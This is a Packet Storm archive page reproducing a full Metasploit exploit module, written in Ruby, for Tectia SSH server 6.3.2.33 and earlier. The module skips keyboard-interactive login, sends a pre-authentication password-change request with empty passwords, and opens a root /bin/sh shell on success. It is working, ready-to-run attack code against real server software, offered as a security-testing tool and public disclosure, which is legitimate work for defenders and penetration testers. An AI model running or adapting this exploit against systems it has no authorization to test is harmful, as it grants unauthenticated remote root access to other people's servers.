exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Tectia SSH USERAUTH Change Request Password Reset

Tectia SSH USERAUTH Change Request Password Reset
Posted Dec 5, 2012
Authored by Kingcope, sinn3r, bperry | Site metasploit.com

This Metasploit module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before password authentication, allowing any remote user to bypass the login routine, and then gain access as root.

tags | exploit, remote, root
systems | unix
SHA-256 | a8cae2783ae383b985cfe414beea92207b93fca99d51ada21c788b6eff779ccc

Tectia SSH USERAUTH Change Request Password Reset

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})
super(update_info(info,
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Tectia SSH server for Unix-based
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
before password authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kingcope', #Original 0day
'bperry',
'sinn3r'
],
'References' =>
[
['EDB', '23082'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end

def check
connect
banner = sock.get_once
print_status("#{rhost}:#{rport} - #{banner}")
disconnect

return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
return Exploit::CheckCode::Safe
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

#
# This is where the login begins. We're expected to use the keyboard-interactive method to
# authenticate, but really all we want is skipping it so we can move on to the password
# method authentication.
#
def auth_keyboard_interactive(user, transport)
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
auth_req_pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "keyboard-interactive", #method name
:string, "", #lang
:string, ""
)

user_auth_pkt = Net::SSH::Buffer.from(
:byte, 0x3D, #userauth info
:raw, 0x01, #number of prompts
:string, "", #password
:raw, "\0"*32 #padding
)

transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")

message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

2.times do |i|
#USRAUTH REQ
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")

# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
end
end


#
# The following link is useful to understand how to craft the USERAUTH password change
# request packet:
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
#
def userauth_passwd_change(user, transport, connection)
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "password" #method name
)
pkt.write_bool(true)
pkt.write_string("") #Old pass
pkt.write_string("") #New pass

transport.send_message(pkt)
message = transport.next_message.type
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")

if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message.type

if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
connection = nil
return shell
end
end
end

def do_login(user)
opts = {:user=>user, :record_auth_info=>true}
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
auth_keyboard_interactive(user, transport)
userauth_passwd_change(user, transport, connection)
end

def exploit
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
# engaging a variety of SSHD targets on a network.
if check != Exploit::CheckCode::Appears
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
return
end

c = nil

begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
c = do_login(datastore['USERNAME'])
end
rescue Rex::ConnectionError, Rex::AddressInUse
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
end

handler(c.lsock) if c
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close